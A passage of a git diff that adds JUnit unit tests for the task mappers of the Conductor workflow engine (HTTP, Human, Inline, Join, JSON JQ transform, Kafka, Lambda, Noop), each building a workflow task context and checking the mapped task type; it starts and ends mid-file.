forkTask.getForkTasks().add(Collections.singletonList(wft2)); + + def.getTasks().add(forkTask); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("forktask_join"); + join.setJoinOn(Arrays.asList("t3", "t2")); + + def.getTasks().add(wft4); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + + TaskModel task1 = new TaskModel(); + task1.setReferenceTaskName(wft1.getTaskReferenceName()); + + TaskModel task3 = new TaskModel(); + task3.setReferenceTaskName(wft3.getTaskReferenceName()); + + Mockito.when(deciderService.getTasksToBeScheduled(workflow, wft1, 0)) + .thenReturn(Collections.singletonList(task1)); + Mockito.when(deciderService.getTasksToBeScheduled(workflow, wft2, 0)) + .thenReturn(Collections.singletonList(task3)); + + String taskId = idGenerator.generate(); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withWorkflowTask(forkTask) + .withRetryCount(0) + .withTaskId(taskId) + .withDeciderService(deciderService) + .build(); + + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage( + "Fork task definition is not followed by a join task. Check the blueprint"); + forkJoinTaskMapper.getMappedTasks(taskMapperContext); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapperTest.java new file mode 100644 index 0000000..975a7fe --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapperTest.java @@ -0,0 +1,115 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; + +public class HTTPTaskMapperTest { + + private HTTPTaskMapper httpTaskMapper; + private IDGenerator idGenerator; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + ParametersUtils parametersUtils = mock(ParametersUtils.class); + MetadataDAO metadataDAO = mock(MetadataDAO.class); + httpTaskMapper = new HTTPTaskMapper(parametersUtils, metadataDAO); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("http_task"); + workflowTask.setType(TaskType.HTTP.name()); + workflowTask.setTaskDefinition(new TaskDef("http_task")); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = httpTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.HTTP.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasks_WithoutTaskDef() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("http_task"); + workflowTask.setType(TaskType.HTTP.name()); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(null) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = httpTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.HTTP.name(), mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapperTest.java new file mode 100644 index 0000000..d42cd68 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapperTest.java @@ -0,0 +1,68 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_HUMAN; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; + +public class HumanTaskMapperTest { + + @Test + public void getMappedTasks() { + + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("human_task"); + workflowTask.setType(TaskType.HUMAN.name()); + String taskId = new IDGenerator().generate(); + + ParametersUtils parametersUtils = mock(ParametersUtils.class); + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + HumanTaskMapper humanTaskMapper = new HumanTaskMapper(parametersUtils); + // When + List mappedTasks = humanTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TASK_TYPE_HUMAN, mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapperTest.java new file mode 100644 index 0000000..42bc050 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapperTest.java @@ -0,0 +1,115 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.evaluators.JavascriptEvaluator; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.Mockito.mock; + +public class InlineTaskMapperTest { + + private ParametersUtils parametersUtils; + private MetadataDAO metadataDAO; + + @Before + public void setUp() { + parametersUtils = mock(ParametersUtils.class); + metadataDAO = mock(MetadataDAO.class); + } + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("inline_task"); + workflowTask.setType(TaskType.INLINE.name()); + workflowTask.setTaskDefinition(new TaskDef("inline_task")); + workflowTask.setEvaluatorType(JavascriptEvaluator.NAME); + workflowTask.setExpression( + "function scriptFun() {if ($.input.a==1){return {testValue: true}} else{return " + + "{testValue: false} }}; scriptFun();"); + + String taskId = new IDGenerator().generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new InlineTaskMapper(parametersUtils, metadataDAO) + .getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertNotNull(mappedTasks); + assertEquals(TaskType.INLINE.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasks_WithoutTaskDef() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.INLINE.name()); + workflowTask.setEvaluatorType(JavascriptEvaluator.NAME); + workflowTask.setExpression( + "function scriptFun() {if ($.input.a==1){return {testValue: true}} else{return " + + "{testValue: false} }}; scriptFun();"); + + String taskId = new IDGenerator().generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(null) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new InlineTaskMapper(parametersUtils, metadataDAO) + .getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertNotNull(mappedTasks); + assertEquals(TaskType.INLINE.name(), mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapperTest.java new file mode 100644 index 0000000..52ba5e6 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapperTest.java @@ -0,0 +1,96 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Arrays; +import java.util.List; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +public class JoinTaskMapperTest { + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.JOIN.name()); + workflowTask.setJoinOn(Arrays.asList("task1", "task2")); + + String taskId = new IDGenerator().generate(); + + WorkflowDef wd = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(wd); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = new JoinTaskMapper().getMappedTasks(taskMapperContext); + + assertNotNull(mappedTasks); + assertEquals(TASK_TYPE_JOIN, mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasksWithJoinMode() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.JOIN.name()); + workflowTask.setJoinOn(Arrays.asList("task1", "task2")); + workflowTask.setJoinMode(WorkflowTask.JoinMode.SYNC); + + String taskId = new IDGenerator().generate(); + + WorkflowDef wd = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(wd); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = new JoinTaskMapper().getMappedTasks(taskMapperContext); + + assertNotNull(mappedTasks); + assertEquals(TASK_TYPE_JOIN, mappedTasks.get(0).getTaskType()); + // joinMode is read directly from workflowTask, not injected into input data + assertNull(mappedTasks.get(0).getInputData().get("joinMode")); + assertEquals( + WorkflowTask.JoinMode.SYNC, mappedTasks.get(0).getWorkflowTask().getJoinMode()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapperTest.java new file mode 100644 index 0000000..9475944 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapperTest.java @@ -0,0 +1,124 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.Mockito.mock; + +public class JsonJQTransformTaskMapperTest { + + private IDGenerator idGenerator; + private ParametersUtils parametersUtils; + private MetadataDAO metadataDAO; + + @Before + public void setUp() { + parametersUtils = mock(ParametersUtils.class); + metadataDAO = mock(MetadataDAO.class); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("json_jq_transform_task"); + workflowTask.setType(TaskType.JSON_JQ_TRANSFORM.name()); + workflowTask.setTaskDefinition(new TaskDef("json_jq_transform_task")); + + Map taskInput = new HashMap<>(); + taskInput.put("in1", new String[] {"a", "b"}); + taskInput.put("in2", new String[] {"c", "d"}); + taskInput.put("queryExpression", "{ out: (.in1 + .in2) }"); + workflowTask.setInputParameters(taskInput); + + String taskId = idGenerator.generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(taskInput) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new JsonJQTransformTaskMapper(parametersUtils, metadataDAO) + .getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertNotNull(mappedTasks); + assertEquals(TaskType.JSON_JQ_TRANSFORM.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasks_WithoutTaskDef() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("json_jq_transform_task"); + workflowTask.setType(TaskType.JSON_JQ_TRANSFORM.name()); + + Map taskInput = new HashMap<>(); + taskInput.put("in1", new String[] {"a", "b"}); + taskInput.put("in2", new String[] {"c", "d"}); + taskInput.put("queryExpression", "{ out: (.in1 + .in2) }"); + workflowTask.setInputParameters(taskInput); + + String taskId = idGenerator.generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(null) + .withWorkflowTask(workflowTask) + .withTaskInput(taskInput) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new JsonJQTransformTaskMapper(parametersUtils, metadataDAO) + .getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertNotNull(mappedTasks); + assertEquals(TaskType.JSON_JQ_TRANSFORM.name(), mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java new file mode 100644 index 0000000..052479f --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java @@ -0,0 +1,122 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; + +public class KafkaPublishTaskMapperTest { + + private IDGenerator idGenerator; + private KafkaPublishTaskMapper kafkaTaskMapper; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + ParametersUtils parametersUtils = mock(ParametersUtils.class); + MetadataDAO metadataDAO = mock(MetadataDAO.class); + kafkaTaskMapper = new KafkaPublishTaskMapper(parametersUtils, metadataDAO); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("kafka_task"); + workflowTask.setType(TaskType.KAFKA_PUBLISH.name()); + workflowTask.setTaskDefinition(new TaskDef("kafka_task")); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = kafkaTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.KAFKA_PUBLISH.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasks_WithoutTaskDef() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("kafka_task"); + workflowTask.setType(TaskType.KAFKA_PUBLISH.name()); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskDef taskdefinition = new TaskDef(); + String testExecutionNameSpace = "testExecutionNameSpace"; + taskdefinition.setExecutionNameSpace(testExecutionNameSpace); + String testIsolationGroupId = "testIsolationGroupId"; + taskdefinition.setIsolationGroupId(testIsolationGroupId); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(taskdefinition) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = kafkaTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.KAFKA_PUBLISH.name(), mappedTasks.get(0).getTaskType()); + assertEquals(testExecutionNameSpace, mappedTasks.get(0).getExecutionNameSpace()); + assertEquals(testIsolationGroupId, mappedTasks.get(0).getIsolationGroupId()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapperTest.java new file mode 100644 index 0000000..4ec34f5 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapperTest.java @@ -0,0 +1,112 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.Mockito.mock; + +public class LambdaTaskMapperTest { + + private IDGenerator idGenerator; + private ParametersUtils parametersUtils; + private MetadataDAO metadataDAO; + + @Before + public void setUp() { + parametersUtils = mock(ParametersUtils.class); + metadataDAO = mock(MetadataDAO.class); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("lambda_task"); + workflowTask.setType(TaskType.LAMBDA.name()); + workflowTask.setTaskDefinition(new TaskDef("lambda_task")); + workflowTask.setScriptExpression( + "if ($.input.a==1){return {testValue: true}} else{return {testValue: false} }"); + + String taskId = idGenerator.generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new LambdaTaskMapper(parametersUtils, metadataDAO) + .getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertNotNull(mappedTasks); + assertEquals(TaskType.LAMBDA.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasks_WithoutTaskDef() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.LAMBDA.name()); + workflowTask.setScriptExpression( + "if ($.input.a==1){return {testValue: true}} else{return {testValue: false} }"); + + String taskId = idGenerator.generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(null) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = + new LambdaTaskMapper(parametersUtils, metadataDAO) + .getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + assertNotNull(mappedTasks); + assertEquals(TaskType.LAMBDA.name(), mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapperTest.java new file mode 100644 index 0000000..13f6723 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapperTest.java @@ -0,0 +1,57 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; + +import org.junit.Assert; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +public class NoopTaskMapperTest { + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_NOOP); + + String taskId = new IDGenerator().generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = new NoopTaskMapper().getMappedTasks(taskMapperContext); + + Assert.assertNotNull(mappedTasks); + Assert.assertEquals(1, mappedTasks.size()); + Assert.assertEquals(TaskType.TASK_TYPE_NOOP, mappedTasks.get(0).getTaskType()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapperTest.java new file mode 100644 index 0000000..848c67a --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapperTest.java @@ -0,0 +1,57 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

